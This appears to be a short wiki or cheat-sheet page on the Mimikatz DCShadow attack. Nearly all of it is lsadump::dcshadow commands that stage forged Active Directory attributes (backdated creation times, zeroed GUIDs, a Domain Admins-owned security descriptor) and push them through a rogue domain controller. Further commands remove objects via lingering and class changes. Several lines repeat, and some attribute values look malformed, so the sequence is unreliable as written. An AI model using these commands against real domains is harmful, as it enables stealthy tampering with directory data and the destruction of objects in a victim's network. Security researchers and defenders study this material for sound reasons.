

# lsadump::dcshadow /push

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DCShadow allows to create object in the past or remove immediately objects via lingering or class change.

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privilege::debug
process::runp

lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=instanceType /value=0
lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=name /value=DemoTest3
lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=displayName /value=DemoTest3
lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=objectCategory /value=CN=DemoTest3,OU=Demo,DC=bastion,DC=local
lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=objectClass /value=cn=DemoTest3,ou=Demo,dc=bastion,dc=local
lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=objectClass /value=cn=DemoTest3,ou=Demo,dc=bastion,dc=local
lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=objectClass /value=cn=DemoTest3,ou=Demo,dc=bastion,dc=local
lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=objectGUID /value=00000000-0000-0000-0000-000000000000
lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=whenCreated /value=01/01/1601:00:00:00.0000000+0000
// beware to change the guid at each call !!!!
lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=objectGUID /value=00000000-0000-0000-0000-000000000000
lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=whenCreated /value=01/01/1601:00:00:00.0000000+0000
// beware to copy past an existing SDDL and to check that the beginning (O:DAG:DA) is here
lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=nTSecurityDescriptor /value=O:DAG:DA:::
lsadump::dcshadow

// main console
lsadump::dcshadow /push

lsadump::dcshadow /viewreplication

// main console
lsadump::dcshadow /kill:CN=DemoTest3,OU=Demo,DC=bastion,DC=local

lsadump::dcshadow /stack /object:CN=DemoTest2,OU=Demo,DC=bastion,DC=local /attribute=objectClass /value=cn=DemoTest2,ou=Demo,dc=bastion,dc=local
lsadump::dcshadow /stack /object:CN=DemoTest2,OU=Demo,DC=bastion,DC=local /attribute=objectClass /value=cn=DemoTest2,ou=Demo,dc=bastion,dc=local
lsadump::dcshadow /stack /object:CN=DemoTest2,OU=Demo,DC=bastion,DC=local /attribute=objectClass /value=cn=DemoTest2,ou=Demo,dc=bastion,dc=local
lsadump::dcshadow /stack /object:CN=DemoTest2,OU=Demo,DC=bastion,DC=local /attribute=objectClass /value=cn=DemoTest2,ou=Demo,dc=bastion,dc=local
lsadump::dcshadow /stack /object:CN=DemoTest2,OU=Demo,DC=bastion,DC=local /attribute=objectClass /value=cn=DemoTest2,ou=Demo,dc=bastion,dc=local
lsadump::dcshadow /stack /object:CN=DemoTest2,OU=Demo,DC=bastion,DC=local /attribute=msDS-Entry-Time /value=01/01/1601:00:00:00.0000000+0000
lsadump::dcshadow
// main console
lsadump::dcshadow /push
```

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Source: <https://www.dcshadow.com/>